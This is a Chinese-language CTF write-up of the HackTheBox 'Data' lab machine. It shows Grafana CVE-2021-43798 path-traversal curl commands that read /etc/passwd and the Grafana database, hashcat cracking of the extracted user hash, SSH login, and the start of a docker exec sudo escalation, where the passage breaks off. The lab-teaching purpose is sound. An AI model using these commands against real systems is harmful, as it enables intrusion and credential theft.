利用Grafana目录遍历漏洞与Docker权限提升攻破HTB Data靶机

本文详细分析了HTB Data靶机的渗透过程,从Grafana未授权目录遍历漏洞获取数据库文件,破解用户哈希获得SSH访问权限,最终通过Docker exec特权模式挂载主机文件系统实现权限提升。

HTB: Data

Data是一个相对简单的靶机,起始于一个Grafana实例。我将利用未授权目录遍历/文件读取漏洞泄露Grafana使用的SQLite文件。破解用户哈希后,发现这是系统上某个账户的共享密码。对于root权限,我将滥用允许运行docker exec的sudo规则。在容器内部,挂载主机文件系统并利用它获取shell。

盒子信息

名称 Data 在HackTheBox上玩耍
发布日期 2025年7月1日
退役日期 2025年7月1日
操作系统 Linux
基础分数 简单 [20]
竞争性
创建者 xct

侦察

初始扫描

nmap发现两个开放的TCP端口:SSH(22)和HTTP(3000):

1
2
3
4
5
6
7
8
9
oxdf@hacky$ nmap -p- -vvv -min-rate 10000 10.129.234.47
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-16 01:04 UTC
...[snip]...
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 62

Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds

基于OpenSSH版本,主机可能运行Ubuntu 18.04 bionic。

nmap显示需要额外一跳才能到达Web服务器。lft确认了这一点:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
oxdf@hacky$ sudo lft 10.129.234.47:22
Tracing ......T
TTL LFT trace to 10.129.234.47:22/tcp
 1  10.10.14.1 89.6ms
 2  [target open] 10.129.234.47:22 89.6ms
oxdf@hacky$ sudo lft 10.129.234.47:3000
Tracing ......T
TTL LFT trace to 10.129.234.47:3000/tcp
 1  10.10.14.1 89.6ms
 2  10.129.234.47 89.8ms
 3  [target open] 10.129.234.47:3000 89.3ms

这意味着Web服务器运行在容器中。

网站 - TCP 3000

站点

该网站是一个Grafana实例:

技术栈

登录页脚显示版本为v8.0.0。HTTP响应头没有透露太多其他信息。

Grafana是一个TypeScript前端和Go后端,如其GitHub页面所示。

没有404页面,它只是重定向到/login。我将跳过目录暴力破解,因为Grafana中的路由有文档记录。

获取boris的shell

泄露Grafana数据库

CVE-2021-43798背景

搜索"grafana v8.0.0 cve"返回了几个CVE的引用,包括CVE-2021-43798:

CVE-2021-43798被Nist描述为:

Grafana是一个用于监控和可观察性的开源平台。Grafana版本8.0.0-beta1到8.3.0(除了修补版本)容易受到目录遍历攻击,允许访问本地文件。易受攻击的URL路径是:<grafana_host_url>/public/plugins/<plugin ID>/,其中是任何已安装插件的插件ID。Grafana Cloud从未易受攻击。建议用户升级到修补版本8.0.7、8.1.8、8.2.7或8.3.1。GitHub安全公告包含有关易受攻击的URL路径、缓解措施和披露时间表的更多信息。

我之前在Ambassador上利用过这个漏洞,在那篇文章中我详细介绍了POC利用。插件路径容易受到目录遍历攻击,导致文件读取在路径/public/plugins/<plugin name>/中。

CVE-2021-43798 POC

为了测试这一点,我尝试读取/etc/passwd:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

它起作用了。

枚举Grafana

就像在Ambassador中一样,我将读取grafana.ini文件:

1
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini

这是一个非常长的文件。我将使用grep删除注释行和空行:

1
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini | grep -v "^[#;\[]" | grep .

没有任何内容。这是一个完全默认的配置。

默认数据库是SQLite:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#################################### Database ####################################
[database]
# Either "mysql", "postgres" or "sqlite3", it's your choice
;type = sqlite3
;host = 127.0.0.1:3306
;name = grafana
;user = root
...[snip]...
# For "sqlite3" only, path relative to data_path setting
;path = grafana.db

文件名为grafana.db。Paths部分说明了位置:

1
2
3
4
#################################### Paths ####################################
[paths]
# Path to where grafana can store temp files, sessions, and the sqlite3 db (if that is used)
;data = /var/lib/grafana

我将下载DB文件:

1
2
3
oxdf@hacky$ curl --path-as-is http://10.129.234.47:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
oxdf@hacky$ file grafana.db
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 424, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 424

恢复密码

数据库枚举

数据库中有相当多的表:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
oxdf@hacky$ sqlite3 grafana.db 
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
alert                       login_attempt             
alert_configuration         migration_log             
alert_instance              org                       
alert_notification          org_user                  
alert_notification_state    playlist                  
alert_rule                  playlist_item             
alert_rule_tag              plugin_setting            
alert_rule_version          preferences               
annotation                  quota                     
annotation_tag              server_lock               
api_key                     session                   
cache_data                  short_url                 
dashboard                   star                      
dashboard_acl               tag                       
dashboard_provisioning      team                      
dashboard_snapshot          team_member               
dashboard_tag               temp_user                 
dashboard_version           test_data                 
data_source                 user                      
library_element             user_auth                 
library_element_connection  user_auth_token 

user表中有两个用户:

1
2
3
4
5
sqlite> .headers on
sqlite> select * from user;
id|version|login|email|name|password|salt|rands|company|org_id|is_admin|email_verified|theme|created|updated|help_flags1|last_seen_at|is_disabled
1|0|admin|admin@localhost||7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S|hLLY6QQ4Y6||1|1|0||2022-01-23 12:48:04|2022-01-23 12:48:50|0|2022-01-23 12:48:50|0
2|0|boris|boris@data.vl|boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl|mYl941ma8w||1|0|0||2022-01-23 12:49:11|2022-01-23 12:49:11|0|2012-01-23 12:49:11|0

格式化哈希

Grafana以非标准格式存储哈希。我将获取用户名、密码哈希和盐:

1
2
3
4
sqlite> select login,password,salt from user;
login|password|salt
admin|7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8|YObSoLj55S
boris|dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8|LCBhdtJWjl

我将其格式化为hash,salt的输入格式:

1
2
7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8,YObSoLj55S
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl

现在脚本生成一个哈希:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
oxdf@hacky$ uv run grafana2hashcat.py grafana.hash_salt 

[+] Grafana2Hashcat
[+] Reading Grafana hashes from:  grafana.hash_salt
[+] Done! Read 2 hashes in total.
[+] Converting hashes...
[+] Converting hashes complete.
[*] Outfile was not declared, printing output to stdout instead.

sha256:10000:WU9iU29MajU1Uw==:epGeS76Vz1EE7fNU7i5iNO+sHKH4FCaESiTE32ExMizzcjySFkthcunnP696TCBy+Pg=
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

破解密码

hashcat检测哈希格式并很快破解boris的哈希:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ hashcat grafana.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF
...[snip]...
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
...[snip]...

admin没有破解。

SSH

我可以登录网站,但值得检查这些凭据是否在系统上有效。boris不是我之前读取的passwd文件中的用户,但那是在容器系统中,SSH似乎连接到主主机(基于TTL分析)。

值得检查,它们有效:

1
2
3
oxdf@hacky$ netexec ssh 10.129.234.47 -u boris -p beautiful1
SSH         10.129.234.47   22     10.129.234.47    [*] SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
SSH         10.129.234.47   22     10.129.234.47    [+] boris:beautiful1 (Pwn3d!) Linux - Shell access!

我连接到SSH作为boris:

1
2
3
4
oxdf@hacky$ sshpass -p beautiful1 ssh boris@10.129.234.47
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1103-aws x86_64)
...[snip]...
boris@data:~$

我可以获取user.txt:

1
2
boris@data:~$ cat user.txt
87629c0b************************

获取root shell

枚举

sudo

boris可以在没有密码的情况下以root身份运行docker exec:

1
2
3
4
5
6
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on localhost:
    (root) NOPASSWD: /snap/bin/docker exec *

运行容器

通常我会用docker ps查看运行中的容器。不幸的是,这需要访问Docker socket,这意味着需要root权限(而sudo配置不允许这样做):

1
2
3
4
boris@data:~$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json": dial unix /var/run/docker.sock: connect: permission denied
boris@data:~$ ls -l /var/run/docker.sock 
srw-rw---- 1 root root 0 Jun 16 01:16 /var/run/docker.sock

我可以查看运行中的进程:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计